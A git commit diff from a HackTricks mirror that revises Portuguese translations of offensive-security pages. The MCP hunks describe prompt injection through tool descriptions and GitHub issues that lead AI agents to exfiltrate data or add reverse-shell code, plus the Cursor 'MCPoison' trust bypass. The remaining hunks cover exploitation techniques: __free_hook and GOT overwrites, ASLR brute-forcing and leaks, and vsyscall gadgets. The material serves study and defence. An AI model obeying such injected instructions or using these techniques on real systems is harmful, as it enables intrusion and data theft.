mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/binary-exploitation/basic-stack-binary-exploitation
This commit is contained in:
Translator
parent
020564d85d
commit
42e2b6df22
@ -33,7 +33,7 @@ mcp.run(transport="stdio") # Run server (using stdio transport for CLI testing)
|
||||
```
|
||||
Isso define um servidor chamado "Calculator Server" com uma ferramenta `add`. Decoramos a função com `@mcp.tool()` para registrá-la como uma ferramenta chamável para LLMs conectados. Para executar o servidor, execute-o em um terminal: `python3 calculator.py`
|
||||
|
||||
O servidor será iniciado e ouvirá por solicitações MCP (usando entrada/saída padrão aqui por simplicidade). Em uma configuração real, você conectaria um agente de IA ou um cliente MCP a este servidor. Por exemplo, usando o CLI de desenvolvedor MCP, você pode lançar um inspetor para testar a ferramenta:
|
||||
O servidor será iniciado e ouvirá por solicitações MCP (usando entrada/saída padrão aqui por simplicidade). Em uma configuração real, você conectaria um agente de IA ou um cliente MCP a este servidor. Por exemplo, usando o CLI de desenvolvedor MCP, você pode iniciar um inspetor para testar a ferramenta:
|
||||
```bash
|
||||
# In a separate terminal, start the MCP inspector to interact with the server:
|
||||
brew install nodejs uv # You need these tools to make sure the inspector works
|
||||
@ -77,9 +77,9 @@ return a + b
|
||||
```
|
||||
Esta descrição seria lida pelo modelo de IA e poderia levar à execução do comando `curl`, exfiltrando dados sensíveis sem que o usuário esteja ciente disso.
|
||||
|
||||
Note que, dependendo das configurações do cliente, pode ser possível executar comandos arbitrários sem que o cliente peça permissão ao usuário.
|
||||
Observe que, dependendo das configurações do cliente, pode ser possível executar comandos arbitrários sem que o cliente peça permissão ao usuário.
|
||||
|
||||
Além disso, note que a descrição poderia indicar o uso de outras funções que poderiam facilitar esses ataques. Por exemplo, se já existe uma função que permite exfiltrar dados, talvez enviar um e-mail (por exemplo, o usuário está usando um servidor MCP conectado à sua conta do gmail), a descrição poderia indicar o uso dessa função em vez de executar um comando `curl`, que seria mais provável de ser notado pelo usuário. Um exemplo pode ser encontrado neste [blog post](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/).
|
||||
Além disso, note que a descrição poderia indicar o uso de outras funções que poderiam facilitar esses ataques. Por exemplo, se já houver uma função que permita exfiltrar dados, talvez enviando um e-mail (por exemplo, o usuário está usando um servidor MCP conectado à sua conta do gmail), a descrição poderia indicar o uso dessa função em vez de executar um comando `curl`, que seria mais provável de ser notado pelo usuário. Um exemplo pode ser encontrado neste [blog post](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/).
|
||||
|
||||
Além disso, [**este blog post**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe) descreve como é possível adicionar a injeção de prompt não apenas na descrição das ferramentas, mas também no tipo, em nomes de variáveis, em campos extras retornados na resposta JSON pelo servidor MCP e até mesmo em uma resposta inesperada de uma ferramenta, tornando o ataque de injeção de prompt ainda mais furtivo e difícil de detectar.
|
||||
|
||||
@ -87,7 +87,7 @@ Além disso, [**este blog post**](https://www.cyberark.com/resources/threat-rese
|
||||
|
||||
Outra maneira de realizar ataques de injeção de prompt em clientes que usam servidores MCP é modificando os dados que o agente irá ler para fazê-lo realizar ações inesperadas. Um bom exemplo pode ser encontrado [neste blog post](https://invariantlabs.ai/blog/mcp-github-vulnerability), onde é indicado como o servidor MCP do Github poderia ser abusado por um atacante externo apenas abrindo uma issue em um repositório público.
|
||||
|
||||
Um usuário que está dando acesso a seus repositórios do Github a um cliente poderia pedir ao cliente para ler e corrigir todas as issues abertas. No entanto, um atacante poderia **abrir uma issue com um payload malicioso** como "Crie um pull request no repositório que adiciona [código de reverse shell]" que seria lido pelo agente de IA, levando a ações inesperadas, como comprometer inadvertidamente o código. Para mais informações sobre Injeção de Prompt, consulte:
|
||||
Um usuário que está dando acesso a seus repositórios do Github a um cliente poderia pedir ao cliente para ler e corrigir todas as issues abertas. No entanto, um atacante poderia **abrir uma issue com um payload malicioso** como "Crie um pull request no repositório que adiciona [código de shell reverso]" que seria lido pelo agente de IA, levando a ações inesperadas, como comprometer inadvertidamente o código. Para mais informações sobre Injeção de Prompt, consulte:
|
||||
|
||||
{{#ref}}
|
||||
AI-Prompts.md
|
||||
@ -95,12 +95,12 @@ AI-Prompts.md
|
||||
|
||||
Além disso, em [**este blog**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo) é explicado como foi possível abusar do agente de IA do Gitlab para realizar ações arbitrárias (como modificar código ou vazar código), injetando prompts maliciosos nos dados do repositório (mesmo ofuscando esses prompts de uma maneira que o LLM entenderia, mas o usuário não).
|
||||
|
||||
Note que os prompts indiretos maliciosos estariam localizados em um repositório público que o usuário vítima estaria usando; no entanto, como o agente ainda tem acesso aos repositórios do usuário, ele poderá acessá-los.
|
||||
Observe que os prompts indiretos maliciosos estariam localizados em um repositório público que o usuário vítima estaria usando; no entanto, como o agente ainda tem acesso aos repositórios do usuário, ele poderá acessá-los.
|
||||
|
||||
### Execução de Código Persistente via Bypass de Confiança do MCP (Cursor IDE – "MCPoison")
|
||||
|
||||
Começando no início de 2025, a Check Point Research divulgou que o **Cursor IDE** centrado em IA vinculava a confiança do usuário ao *nome* de uma entrada MCP, mas nunca revalidava seu `command` ou `args` subjacentes.
|
||||
Esse erro de lógica (CVE-2025-54136, também conhecido como **MCPoison**) permite que qualquer pessoa que possa escrever em um repositório compartilhado transforme um MCP já aprovado e benigno em um comando arbitrário que será executado *toda vez que o projeto for aberto* – sem prompt exibido.
|
||||
Essa falha de lógica (CVE-2025-54136, também conhecida como **MCPoison**) permite que qualquer pessoa que possa escrever em um repositório compartilhado transforme um MCP já aprovado e benigno em um comando arbitrário que será executado *toda vez que o projeto for aberto* – sem prompt exibido.
|
||||
|
||||
#### Fluxo de trabalho vulnerável
|
||||
|
||||
|
||||
@ -16,7 +16,7 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev
|
||||
## 1. Tokenization
|
||||
|
||||
> [!TIP]
|
||||
> O objetivo desta fase inicial é muito simples: **Dividir a entrada em tokens (ids) de uma forma que faça sentido**.
|
||||
> O objetivo desta fase inicial é muito simples: **Dividir a entrada em tokens (ids) de uma maneira que faça sentido**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@ -48,7 +48,7 @@ AI-Risk-Frameworks.md
|
||||
|
||||
### Segurança de Prompts de IA
|
||||
|
||||
Os LLMs fizeram o uso de IA explodir nos últimos anos, mas não são perfeitos e podem ser enganados por prompts adversariais. Este é um tópico muito importante para entender como usar a IA de forma segura e como atacá-la:
|
||||
LLMs fizeram o uso de IA explodir nos últimos anos, mas não são perfeitos e podem ser enganados por prompts adversariais. Este é um tópico muito importante para entender como usar a IA de forma segura e como atacá-la:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Como você pode ver no [site oficial do GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), a variável **`__malloc_hook`** é um ponteiro que aponta para o **endereço de uma função que será chamada** sempre que `malloc()` for chamado **armazenado na seção de dados da biblioteca libc**. Portanto, se esse endereço for sobrescrito com um **One Gadget**, por exemplo, e `malloc` for chamado, o **One Gadget será chamado**.
|
||||
|
||||
Para chamar malloc, é possível esperar que o programa o chame ou **chamando `printf("%10000$c")`**, que aloca muitos bytes, fazendo com que `libc` chame malloc para alocá-los na heap.
|
||||
Para chamar malloc, é possível esperar que o programa o chame ou **chamando `printf("%10000$c")**, que aloca muitos bytes, fazendo com que `libc` chame malloc para alocá-los na heap.
|
||||
|
||||
Mais informações sobre One Gadget em:
|
||||
|
||||
@ -43,11 +43,11 @@ gef➤ p &__free_hook
|
||||
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
||||
</code></pre>
|
||||
|
||||
No ponto de interrupção mencionado no código anterior, o endereço do free hook estará localizado em `$eax`.
|
||||
No ponto de quebra mencionado no código anterior, em `$eax` estará localizado o endereço do free hook.
|
||||
|
||||
Agora, um **ataque de fast bin** é realizado:
|
||||
Agora um **fast bin attack** é realizado:
|
||||
|
||||
- Primeiro de tudo, descobre-se que é possível trabalhar com **chunks de tamanho 200** na localização de **`__free_hook`**:
|
||||
- Primeiro de tudo, é descoberto que é possível trabalhar com **chunks de tamanho 200** na localização de **`__free_hook`**:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
@ -59,7 +59,7 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
- Se conseguirmos obter um chunk rápido de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado.
|
||||
- Para isso, um novo chunk de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin.
|
||||
- Em seguida, a função de edição é chamada neste chunk para modificar o endereço **`fd`** deste fast bin para apontar para a função **`__free_hook`** anterior.
|
||||
- Depois, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk anterior inútil, então outro chunk de tamanho `0x1f8` é criado para obter um chunk do fast bin no **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
|
||||
- Depois, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de tamanho `0x1f8` é criado para obter um chunk do fast bin na **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
|
||||
- E finalmente, um chunk contendo a string `/bin/sh\x00` é liberado chamando a função de delete, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
|
||||
|
||||
---
|
||||
|
||||
@ -38,7 +38,7 @@ Em um binário, a GOT tem os **endereços das funções ou** da **seção PLT**
|
||||
|
||||
Idealmente, você irá **substituir** a **GOT** de uma **função** que será **chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função system).
|
||||
|
||||
Se **`system`** **não for usado** pelo binário, a função system **não** terá uma entrada na PLT. Nesse cenário, você **precisará primeiro vazar o endereço** da função `system` e então sobrescrever a GOT para apontar para esse endereço.
|
||||
Se **`system`** **não for usado** pelo binário, a função system **não terá** uma entrada na PLT. Nesse cenário, você **precisará primeiro vazar o endereço** da função `system` e então sobrescrever a GOT para apontar para esse endereço.
|
||||
|
||||
Você pode ver os endereços da PLT com **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
@ -46,7 +46,7 @@ Você pode ver os endereços da PLT com **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
A **GOT da libc** geralmente é compilada com **RELRO parcial**, tornando-a um bom alvo para isso, supondo que seja possível descobrir seu endereço ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
|
||||
|
||||
Funções comuns da libc vão chamar **outras funções internas** cujas GOTs poderiam ser sobrescritas para obter execução de código.
|
||||
Funções comuns da libc vão chamar **outras funções internas** cujas GOT poderiam ser sobrescritas para obter execução de código.
|
||||
|
||||
Encontre [**mais informações sobre esta técnica aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||
|
||||
@ -76,7 +76,7 @@ Então, apontando `free` para `system` e liberando um chunk onde foi escrito `/b
|
||||
|
||||
## **Proteções**
|
||||
|
||||
A proteção **Full RELRO** é destinada a proteger contra esse tipo de técnica resolvendo todos os endereços das funções quando o binário é iniciado e tornando a **tabela GOT somente leitura** após isso:
|
||||
A proteção **Full RELRO** é destinada a proteger contra esse tipo de técnica, resolvendo todos os endereços das funções quando o binário é iniciado e tornando a **tabela GOT somente leitura** após isso:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@ -28,9 +28,9 @@ Existem diferentes maneiras de você acabar controlando o fluxo de um programa:
|
||||
- Pode ser necessário abusar de um [**Integer Overflows**](../integer-overflow.md) para causar o overflow.
|
||||
- Ou via **Arbitrary Writes + Write What Where to Execution**.
|
||||
- [**Format strings**](../format-strings/index.html)**:** Abuse `printf` para escrever conteúdo arbitrário em endereços arbitrários.
|
||||
- [**Array Indexing**](../array-indexing.md): Abuse de um indexação mal projetada para conseguir controlar alguns arrays e obter uma escrita arbitrária.
|
||||
- [**Array Indexing**](../array-indexing.md): Abuse um indexação mal projetada para conseguir controlar alguns arrays e obter uma escrita arbitrária.
|
||||
- Pode ser necessário abusar de um [**Integer Overflows**](../integer-overflow.md) para causar o overflow.
|
||||
- **bof to WWW via ROP**: Abuse de um buffer overflow para construir um ROP e conseguir um WWW.
|
||||
- **bof to WWW via ROP**: Abuse um buffer overflow para construir um ROP e conseguir um WWW.
|
||||
|
||||
Você pode encontrar as técnicas de **Write What Where to Execution** em:
|
||||
|
||||
@ -44,7 +44,7 @@ Algo a ser levado em conta é que geralmente **apenas uma exploração de uma vu
|
||||
|
||||
- Escrever em uma cadeia **ROP** o endereço da função **`main`** ou o endereço onde a **vulnerabilidade** está ocorrendo.
|
||||
- Controlando uma cadeia ROP adequada, você pode ser capaz de realizar todas as ações nessa cadeia.
|
||||
- Escrever no **endereço `exit` no GOT** (ou qualquer outra função usada pelo binário antes de terminar) o endereço para voltar **à vulnerabilidade**.
|
||||
- Escrever no endereço de **`exit` no GOT** (ou qualquer outra função usada pelo binário antes de terminar) o endereço para voltar **à vulnerabilidade**.
|
||||
- Como explicado em [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** armazene 2 funções aqui, uma para chamar a vuln novamente e outra para chamar **`__libc_csu_fini`** que chamará novamente a função de `.fini_array`.
|
||||
|
||||
## Objetivos de Exploração
|
||||
@ -69,7 +69,7 @@ Algo a ser levado em conta é que geralmente **apenas uma exploração de uma vu
|
||||
#### Via shellcode, se nx desativado ou misturando shellcode com ROP:
|
||||
|
||||
- [**(Stack) Shellcode**](#stack-shellcode): Isso é útil para armazenar um shellcode na pilha antes ou depois de sobrescrever o ponteiro de retorno e então **pular para ele** para executá-lo:
|
||||
- **Em qualquer caso, se houver um** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** em um bof regular você precisará contorná-lo (leak).
|
||||
- **Em qualquer caso, se houver um** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** em um bof regular você precisará contorná-lo (vazar).
|
||||
- **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), é possível pular para o endereço da pilha, pois ele nunca mudará.
|
||||
- **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html), você precisará de técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para pular para ele.
|
||||
- **Com** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), você precisará usar algum [**ROP**](../rop-return-oriented-programing/index.html) **para chamar `memprotect`** e tornar alguma página `rwx`, para então **armazenar o shellcode lá** (chamando read, por exemplo) e depois pular para lá.
|
||||
@ -88,7 +88,7 @@ Algo a ser levado em conta é que geralmente **apenas uma exploração de uma vu
|
||||
- Se **compilado estaticamente e sem** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente.
|
||||
- **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e sabendo a versão da libc** carregada, o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente.
|
||||
- Com [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **mas sem** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, sabendo a libc e com o binário usando a função `system`**, é possível **`ret` para o endereço de system no GOT** com o endereço de `'/bin/sh'` no parâmetro (você precisará descobrir isso).
|
||||
- Com [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) mas sem [PIE](../common-binary-protections-and-bypasses/pie/index.html), sabendo a libc e **sem o binário usar a função `system`**:
|
||||
- Com [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) mas sem [PIE](../common-binary-protections-and-bypasses/pie/index.html), sabendo a libc e **sem o binário usando a `system`**:
|
||||
- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver o endereço de `system` e chamá-lo.
|
||||
- **Contorne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) e calcule o endereço de `system` e `'/bin/sh'` na memória.
|
||||
- **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **e não sabendo a libc**: Você precisa:
|
||||
@ -100,7 +100,7 @@ Algo a ser levado em conta é que geralmente **apenas uma exploração de uma vu
|
||||
|
||||
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controle o ESP para controlar RET através do EBP armazenado na pilha.
|
||||
- Útil para **off-by-one** stack overflows.
|
||||
- Útil como uma maneira alternativa de acabar controlando EIP enquanto abusa de EIP para construir o payload na memória e então pulando para ele via EBP.
|
||||
- Útil como uma maneira alternativa de acabar controlando o EIP enquanto abusa do EIP para construir o payload na memória e então pulando para ele via EBP.
|
||||
|
||||
#### Diversos
|
||||
|
||||
|
||||
@ -37,7 +37,7 @@ Segment Sections...
|
||||
07
|
||||
08 .init_array .fini_array .dynamic .got
|
||||
```
|
||||
O programa anterior possui **9 cabeçalhos de programa**, então, o **mapeamento de segmentos** indica em qual cabeçalho de programa (de 00 a 08) **cada seção está localizada**.
|
||||
O programa anterior tem **9 cabeçalhos de programa**, então, o **mapeamento de segmentos** indica em qual cabeçalho de programa (de 00 a 08) **cada seção está localizada**.
|
||||
|
||||
### PHDR - Cabeçalho do Programa
|
||||
|
||||
@ -54,7 +54,7 @@ Indica o caminho do carregador a ser usado para carregar o binário na memória.
|
||||
Esses cabeçalhos são usados para indicar **como carregar um binário na memória.**\
|
||||
Cada cabeçalho **LOAD** indica uma região de **memória** (tamanho, permissões e alinhamento) e indica os bytes do binário ELF **a serem copiados lá**.
|
||||
|
||||
Por exemplo, o segundo tem um tamanho de 0x1190, deve estar localizado em 0x1fc48 com permissões de leitura e escrita e será preenchido com 0x528 a partir do deslocamento 0xfc48 (não preenche todo o espaço reservado). Essa memória conterá as seções `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
Por exemplo, o segundo tem um tamanho de 0x1190, deve estar localizado em 0x1fc48 com permissões de leitura e escrita e será preenchido com 0x528 a partir do deslocamento 0xfc48 (não preenche todo o espaço reservado). Esta memória conterá as seções `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
|
||||
### DYNAMIC
|
||||
|
||||
@ -82,7 +82,7 @@ Contém a configuração da defesa de prevenção de execução de pilha. Se hab
|
||||
|
||||
### GNU_RELRO
|
||||
|
||||
Indica a configuração RELRO (Relocation Read-Only) do binário. Essa proteção marcará como somente leitura certas seções da memória (como o `GOT` ou as tabelas `init` e `fini`) após o programa ter sido carregado e antes de começar a execução.
|
||||
Indica a configuração RELRO (Relocation Read-Only) do binário. Esta proteção marcará como somente leitura certas seções da memória (como o `GOT` ou as tabelas `init` e `fini`) após o programa ter sido carregado e antes de começar a execução.
|
||||
|
||||
No exemplo anterior, está copiando 0x3b8 bytes para 0x1fc48 como somente leitura, afetando as seções `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
|
||||
@ -266,7 +266,7 @@ As entradas `DT_RPATH` (obsoleto) e/ou `DT_RUNPATH` influenciam onde o carregado
|
||||
- Inspecione com: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
|
||||
- Teste rápido: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (mostra decisões de caminho de busca)
|
||||
|
||||
> Dica de priv-esc: Prefira abusar de RUNPATHs graváveis ou caminhos relativos a `$ORIGIN` mal configurados que você possui. LD_PRELOAD/LD_AUDIT são ignorados em contextos de execução segura (setuid).
|
||||
> Dica de privilégio: Prefira abusar de RUNPATHs graváveis ou caminhos relativos a `$ORIGIN` mal configurados que você possui. LD_PRELOAD/LD_AUDIT são ignorados em contextos de execução segura (setuid).
|
||||
|
||||
## Relocações
|
||||
|
||||
@ -408,7 +408,7 @@ __attributte__((destructor)) //Add to the destructor list
|
||||
```
|
||||
Do ponto de vista de um compilador, para executar essas ações antes e depois da função `main`, é possível criar uma função `init` e uma função `fini` que seriam referenciadas na seção dinâmica como **`INIT`** e **`FIN`**. e são colocadas nas seções `init` e `fini` do ELF.
|
||||
|
||||
A outra opção, como mencionado, é referenciar as listas **`__CTOR_LIST__`** e **`__DTOR_LIST__`** nas entradas **`INIT_ARRAY`** e **`FINI_ARRAY`** na seção dinâmica e o comprimento delas é indicado por **`INIT_ARRAYSZ`** e **`FINI_ARRAYSZ`**. Cada entrada é um ponteiro de função que será chamado sem argumentos.
|
||||
A outra opção, como mencionado, é referenciar as listas **`__CTOR_LIST__`** e **`__DTOR_LIST__`** nas entradas **`INIT_ARRAY`** e **`FINI_ARRAY`** na seção dinâmica e o comprimento dessas é indicado por **`INIT_ARRAYSZ`** e **`FINI_ARRAYSZ`**. Cada entrada é um ponteiro de função que será chamado sem argumentos.
|
||||
|
||||
Além disso, também é possível ter um **`PREINIT_ARRAY`** com **ponteiros** que serão executados **antes** dos ponteiros **`INIT_ARRAY`**.
|
||||
|
||||
@ -416,7 +416,7 @@ Além disso, também é possível ter um **`PREINIT_ARRAY`** com **ponteiros** q
|
||||
|
||||
- Sob Partial RELRO, esses arrays vivem em páginas que ainda são graváveis antes que `ld.so` mude `PT_GNU_RELRO` para somente leitura. Se você conseguir uma gravação arbitrária cedo o suficiente ou se puder direcionar os arrays graváveis de uma biblioteca, você pode sequestrar o fluxo de controle sobrescrevendo uma entrada com uma função de sua escolha. Sob Full RELRO, eles são somente leitura em tempo de execução.
|
||||
|
||||
- Para abuso de vinculação preguiçosa do vinculador dinâmico para resolver símbolos arbitrários em tempo de execução, veja a página dedicada:
|
||||
- Para abuso de ligação preguiçosa do vinculador dinâmico para resolver símbolos arbitrários em tempo de execução, veja a página dedicada:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2dlresolve.md
|
||||
@ -424,8 +424,8 @@ Além disso, também é possível ter um **`PREINIT_ARRAY`** com **ponteiros** q
|
||||
|
||||
### Ordem de Inicialização
|
||||
|
||||
1. O programa é carregado na memória, variáveis globais estáticas são inicializadas em **`.data`** e as não inicializadas são zeradas em **`.bss`**.
|
||||
2. Todas as **dependências** para o programa ou bibliotecas são **inicializadas** e a **vinculação dinâmica** é executada.
|
||||
1. O programa é carregado na memória, variáveis globais estáticas são inicializadas em **`.data`** e as não inicializadas zeradas em **`.bss`**.
|
||||
2. Todas as **dependências** para o programa ou bibliotecas são **inicializadas** e a **ligação dinâmica** é executada.
|
||||
3. Funções **`PREINIT_ARRAY`** são executadas.
|
||||
4. Funções **`INIT_ARRAY`** são executadas.
|
||||
5. Se houver uma entrada **`INIT`**, ela é chamada.
|
||||
@ -441,11 +441,11 @@ Quando isso é usado, as seções **`.tdata`** e **`.tbss`** são usadas no ELF.
|
||||
|
||||
Cada variável terá uma entrada no cabeçalho TLS especificando o tamanho e o deslocamento TLS, que é o deslocamento que será usado na área de dados local da thread.
|
||||
|
||||
O `__TLS_MODULE_BASE` é um símbolo usado para se referir ao endereço base do armazenamento local de thread e aponta para a área na memória que contém todos os dados locais de thread de um módulo.
|
||||
O `__TLS_MODULE_BASE` é um símbolo usado para se referir ao endereço base do armazenamento local de thread e aponta para a área na memória que contém todos os dados locais da thread de um módulo.
|
||||
|
||||
## Vetor Auxiliar (auxv) e vDSO
|
||||
|
||||
O kernel Linux passa um vetor auxiliar para processos contendo endereços e flags úteis para o tempo de execução:
|
||||
O kernel Linux passa um vetor auxiliar para os processos contendo endereços e flags úteis para o tempo de execução:
|
||||
|
||||
- `AT_RANDOM`: aponta para 16 bytes aleatórios usados pela glibc para o canário de pilha e outras sementes de PRNG.
|
||||
- `AT_SYSINFO_EHDR`: endereço base do mapeamento vDSO (útil para encontrar syscalls e gadgets `__kernel_*`).
|
||||
|
||||
@ -47,7 +47,7 @@ Após editar `/etc/sysctl.conf`, aplique as alterações com:
|
||||
```bash
|
||||
sudo sysctl -p
|
||||
```
|
||||
Isso garantirá que suas configurações de ASLR permaneçam entre reinicializações.
|
||||
Isso garantirá que suas configurações de ASLR permaneçam após reinicializações.
|
||||
|
||||
## **Bypasses**
|
||||
|
||||
@ -69,7 +69,7 @@ Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida to
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
- Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor levar 10s a mais para responder**, você encontrou o endereço dessa função.
|
||||
- Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `libc` `usleep`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor levar 10s a mais para responder**, você encontrou o endereço dessa função.
|
||||
|
||||
> [!TIP]
|
||||
> Em sistemas de 64 bits, a entropia é muito maior e isso não deveria ser possível.
|
||||
@ -77,7 +77,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
### Força bruta na pilha de 64 bits
|
||||
|
||||
É possível ocupar uma grande parte da pilha com variáveis de ambiente e então tentar abusar do binário centenas/milhares de vezes localmente para explorá-lo.\
|
||||
O código a seguir mostra como é possível **apenas selecionar um endereço na pilha** e a cada **algumas centenas de execuções** esse endereço conterá a **instrução NOP**:
|
||||
O seguinte código mostra como é possível **apenas selecionar um endereço na pilha** e a cada **algumas centenas de execuções** esse endereço conterá a **instrução NOP**:
|
||||
```c
|
||||
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
#include <stdio.h>
|
||||
@ -151,10 +151,10 @@ O arquivo **`/proc/[pid]/stat`** de um processo é sempre legível por todos e *
|
||||
- **startstack**: O endereço do início da **stack**
|
||||
- **start_data** & **end_data**: Endereços acima e abaixo onde está o **BSS**
|
||||
- **kstkesp** & **kstkeip**: Endereços atuais de **ESP** e **EIP**
|
||||
- **arg_start** & **arg_end**: Endereços acima e abaixo onde estão os **argumentos cli**.
|
||||
- **arg_start** & **arg_end**: Endereços acima e abaixo onde estão os **argumentos do cli**.
|
||||
- **env_start** & **env_end**: Endereços acima e abaixo onde estão as **variáveis de ambiente**.
|
||||
|
||||
Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e este binário não espera o overflow de argumentos brutos, mas de uma **entrada que pode ser elaborada após a leitura deste arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para a exploração**.
|
||||
Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e este binário não espera o overflow de argumentos brutos, mas de uma **entrada que pode ser elaborada após a leitura deste arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para o exploit**.
|
||||
|
||||
> [!TIP]
|
||||
> Para mais informações sobre este arquivo, consulte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) procurando por `/proc/pid/stat`
|
||||
@ -163,7 +163,7 @@ Portanto, se o atacante estiver no mesmo computador que o binário sendo explora
|
||||
|
||||
- **O desafio é fornecer um leak**
|
||||
|
||||
Se você receber um leak (desafios fáceis de CTF), pode calcular offsets a partir dele (supondo, por exemplo, que você conhece a versão exata da libc que está sendo usada no sistema que está explorando). Este exemplo de exploração é extraído do [**exemplo daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ver essa página para mais detalhes):
|
||||
Se você receber um leak (desafios fáceis de CTF), pode calcular offsets a partir dele (supondo, por exemplo, que você conhece a versão exata da libc que está sendo usada no sistema que está explorando). Este exemplo de exploit é extraído do [**exemplo daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ver essa página para mais detalhes):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -226,7 +226,7 @@ ret2ret.md
|
||||
|
||||
### vsyscall
|
||||
|
||||
O mecanismo **`vsyscall`** serve para melhorar o desempenho permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora sejam fundamentalmente parte do kernel. A vantagem crítica dos **vsyscalls** reside em seus **endereços fixos**, que não estão sujeitos ao **ASLR** (Randomização de Layout de Espaço de Endereços). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em um exploit.\
|
||||
O mecanismo **`vsyscall`** serve para melhorar o desempenho permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora sejam fundamentalmente parte do kernel. A vantagem crítica dos **vsyscalls** reside em seus **endereços fixos**, que não estão sujeitos ao **ASLR** (Randomização de Layout de Espaço de Endereçamento). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em um exploit.\
|
||||
No entanto, nenhum gadget super interessante será encontrado aqui (embora, por exemplo, seja possível obter um equivalente a `ret;`)
|
||||
|
||||
(O seguinte exemplo e código é [**deste writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
|
||||
@ -276,7 +276,6 @@ gef➤ x/4i 0xffffffffff600800
|
||||
|
||||
Note que pode ser possível **contornar o ASLR abusando do vdso** se o kernel for compilado com CONFIG_COMPAT_VDSO, pois o endereço do vdso não será randomizado. Para mais informações, consulte:
|
||||
|
||||
